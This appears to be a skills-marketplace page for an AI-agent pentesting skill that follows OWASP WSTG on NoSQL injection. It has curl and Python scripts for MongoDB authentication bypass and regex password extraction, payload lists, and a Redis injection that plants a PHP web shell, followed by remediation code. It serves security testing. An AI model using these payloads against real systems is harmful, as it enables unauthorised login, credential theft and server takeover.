Skip to main content Skills Marketplace Découvrez et explorez les compétences IA créées par la communauté.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Copier le promptAfficher les détails du prompt Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-6La commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.
Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.
Télécharger Zip Téléchargement... Métiers associés SOC
Basé sur la classification professionnelle SOC
name wstg-inpv-05.6 description Testing for NoSQL Injection category input-validation owasp_id WSTG-INPV-05.6 version 1.0.0 author cyberstrike-official tags ["injection","input-validation","xss","sqli","wstg","inpv"] tech_stack [] cwe_ids [] chains_with [] prerequisites [] severity_boost {}
wstg-inpv-05.6
Test ID
WSTG-INPV-05.6
Test Name
Testing for NoSQL Injection
High-Level Description
NoSQL injection targets NoSQL databases (MongoDB, CouchDB, Redis, etc.) where traditional SQL injection techniques don't apply. These databases use different query languages and data structures, but are still vulnerable to injection attacks through JSON payloads, JavaScript execution, and operator manipulation.
What to Check
How to Test
Step 1: NoSQL Injection Detection
#!/bin/bash
TARGET="https://target.com/api/login"
echo "[*] Testing for NoSQL injection..."
curl -s -X POST "$TARGET " \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":""},"password":{"$ne":""}}'
curl -s -X POST "$TARGET " \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}'
curl -s -X POST "$TARGET " \
-H "Content-Type: application/json" \
-d '{"username":{"$regex":"^admin"},"password":{"$ne":""}}'
curl -s "$TARGET ?username[\$ne]=&password[\$ne]="
Step 2: NoSQL Injection Tester
"""
NoSQL Injection Vulnerability Tester
Supports MongoDB, CouchDB, and general NoSQL patterns
"""
import requests
import json
import re
class NoSQLInjectionTester :
def __init__ (self, url ):
self .url = url
self .findings = []
self .session = requests.Session()
MONGODB_PAYLOADS = {
'auth_bypass' : [
{"username" : {"$ne" : "" }, "password" : {"$ne" : "" }},
{"username" : {"$gt" : "" }, "password" : {"$gt" : "" }},
{"username" : "admin" , "password" : {"$ne" : "" }},
{"username" : {"$regex" : ".*" }, "password" : {"$regex" : ".*" }},
{"username" : {"$in" : ["admin" , "administrator" ]}, "password" : {"$ne" : "" }},
],
'data_extraction' : [
{"$where" : "this.username == 'admin'" },
{"$where" : "function(){return true}" },
{"username" : {"$regex" : "^a" }},
{"username" : {"$regex" : "^admin" }},
],
'operator_injection' : [
{"$or" : [{"username" : "admin" }, {"username" : "user" }]},
{"$and" : [{"username" : {"$ne" : "" }}, {"password" : {"$ne" : "" }}]},
],
}
JS_PAYLOADS = [
"'; return true; var x='" ,
"'; return this.password; var x='" ,
"1'; return true; '" ,
"1 || 1==1" ,
"this.password.match(/.*/)//" ,
]
def test_mongodb_auth_bypass (self ):
"""Test MongoDB authentication bypass"""
print ("\n[*] Testing MongoDB authentication bypass..." )
for payload in self .MONGODB_PAYLOADS['auth_bypass' ]:
try :
response = self .session.post(
self .url,
json=payload,
headers={'Content-Type' : 'application/json' }
)
if response.status_code == 200 :
try :
resp_json = response.json()
if 'token' in resp_json or 'session' in resp_json or 'success' in resp_json:
print (f"[VULN] Auth bypass possible!" )
print (f" Payload: {json.dumps(payload)} " )
self .findings.append({
'type' : 'MongoDB Auth Bypass' ,
'payload' : payload,
'severity' : 'Critical'
})
return True
except :
if len (response.text) > 100 :
print (f"[WARN] Potential auth bypass" )
print (f" Payload: {json.dumps(payload)} " )
except Exception as e:
pass
return False
def test_url_parameter_injection (self ):
"""Test NoSQL injection via URL parameters"""
print ("\n[*] Testing URL parameter injection..." )
payloads = [
"username[$ne]=&password[$ne]=" ,
"username[$gt]=&password[$gt]=" ,
"username[$regex]=.*&password[$regex]=.*" ,
"username=admin&password[$ne]=" ,
]
base_url = self .url.split('?' )[0 ]
for payload in payloads:
try :
response = self .session.get(f"{base_url} ?{payload} " )
if response.status_code == 200 and len (response.text) > 50 :
print (f"[WARN] Potential injection via URL params" )
print (f" Payload: {payload} " )
self .findings.append({
'type' : 'URL Parameter NoSQL Injection' ,
'payload' : payload,
'severity' : 'High'
})
except Exception as e:
pass
def test_javascript_injection (self ):
"""Test JavaScript injection ($where, mapReduce)"""
print ("\n[*] Testing JavaScript injection..." )
for js_payload in self .JS_PAYLOADS:
payload = {"$where" : js_payload}
try :
response = self .session.post(
self .url,
json=payload,
headers={'Content-Type' : 'application/json' }
)
if response.status_code == 200 :
print (f"[INFO] JS payload accepted: {js_payload[:40 ]} " )
if 'SyntaxError' in response.text or 'ReferenceError' in response.text:
print (f"[INFO] MongoDB JavaScript error detected" )
except Exception as e:
pass
def test_regex_extraction (self ):
"""Test data extraction via regex injection"""
print ("\n[*] Testing regex-based data extraction..." )
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
extracted = ""
for i in range (20 ):
found = False
for char in charset:
payload = {
"username" : "admin" ,
"password" : {"$regex" : f"^{extracted} {char} " }
}
try :
response = self .session.post(
self .url,
json=payload,
headers={'Content-Type' : 'application/json' }
)
if response.status_code == 200 and ('token' in response.text.lower() or
'success' in response.text.lower()):
extracted += char
found = True
print (f" Extracted: {extracted} " )
break
except Exception as e:
pass
if not found:
break
if extracted:
print (f"[VULN] Regex extraction successful: {extracted} " )
self .findings.append({
'type' : 'NoSQL Regex Data Extraction' ,
'extracted' : extracted,
'severity' : 'Critical'
})
def test_array_injection (self ):
"""Test array/object injection"""
print ("\n[*] Testing array/object injection..." )
payloads = [
{"username" : ["admin" , "user" ], "password" : {"$ne" : "" }},
{"username" : {"$in" : ["admin" ]}, "password" : "test" },
{"username" : "admin" , "password" : ["" , {"$ne" : "" }]},
]
for payload in payloads:
try :
response = self .session.post(
self .url,
json=payload,
headers={'Content-Type' : 'application/json' }
)
if response.status_code == 200 :
print (f"[INFO] Array injection accepted" )
except Exception as e:
pass
def generate_report (self ):
"""Generate findings report"""
print ("\n" + "=" *60 )
print ("NOSQL INJECTION REPORT" )
print ("=" *60 )
if not self .findings:
print ("\nNo NoSQL injection vulnerabilities confirmed." )
else :
for f in self .findings:
print (f"\n[{f['severity' ]} ] {f['type' ]} " )
if 'payload' in f:
print (f" Payload: {json.dumps(f['payload' ])[:70 ]} " )
if 'extracted' in f:
print (f" Extracted: {f['extracted' ]} " )
def run_tests (self ):
"""Run all NoSQL injection tests"""
self .test_mongodb_auth_bypass()
self .test_url_parameter_injection()
self .test_javascript_injection()
self .test_array_injection()
self .generate_report()
tester = NoSQLInjectionTester("https://target.com/api/login" )
tester.run_tests()
Step 3: Database-Specific Payloads
{"username" : {"$ne" : null }, "password" : {"$ne" : null }}
{"username" : {"$gt" : "" }, "password" : {"$gt" : "" }}
{"username" : {"$regex" : "admin" }, "password" : {"$ne" : "" }}
{"$where" : "1 == 1" }
{"$where" : "function() { return true; }" }
{"$where" : "this.password.length > 0" }
{"username" : "admin" , "password" : {"$regex" : "^a" }}
{"username" : "admin" , "password" : {"$regex" : "^ab" }}
{"username" : "admin" , "password" : {"$type" : 2 }}
{"username" : {"$exists" : true }, "password" : {"$exists" : true }}
GET /db/_find?selector={"username" :"admin" ,"password" :{"$regex" :".*" }}
{"selector" : {"username" : "admin" , "password" : {"$gt" : "" }}}
EVAL "return redis.call('keys','*')" 0
SET user "test\r\nCONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET payload '<?php system($_GET [cmd]); ?>'\r\nSAVE"
Tools Tool Purpose NoSQLMap Automated NoSQL injection Burp Suite Manual testing mongosh MongoDB client redis-cli Redis client
Remediation
const mongoose = require ("mongoose" )
function sanitize (obj ) {
if (typeof obj === "object" ) {
for (let key in obj) {
if (key.startsWith ("$" )) {
delete obj[key]
} else {
sanitize (obj[key])
}
}
}
return obj
}
async function findUser (username, password ) {
if (typeof username !== "string" || typeof password !== "string" ) {
throw new Error ("Invalid input types" )
}
return await User .findOne ({
username : username,
password : hashPassword (password),
})
}
const sanitize = require ("mongo-sanitize" )
const cleanInput = sanitize (userInput)
from bson import ObjectId
import re
def sanitize_input (data ):
"""Remove MongoDB operators from input"""
if isinstance (data, dict ):
return {k: sanitize_input(v) for k, v in data.items()
if not k.startswith('$' )}
elif isinstance (data, list ):
return [sanitize_input(item) for item in data]
return data
Risk Assessment Finding CVSS Severity NoSQL auth bypass 9.8 Critical JavaScript injection ($where) 9.1 Critical Regex data extraction 7.5 High Operator injection 7.5 High
CWE Categories CWE ID Title CWE-943 Improper Neutralization of Special Elements in Data Query Logic
References
Checklist [ ] MongoDB operator injection tested
[ ] URL parameter injection tested
[ ] JavaScript injection tested
[ ] Array/object injection tested
[ ] Regex extraction tested
[ ] Authentication bypass tested
[ ] Findings documented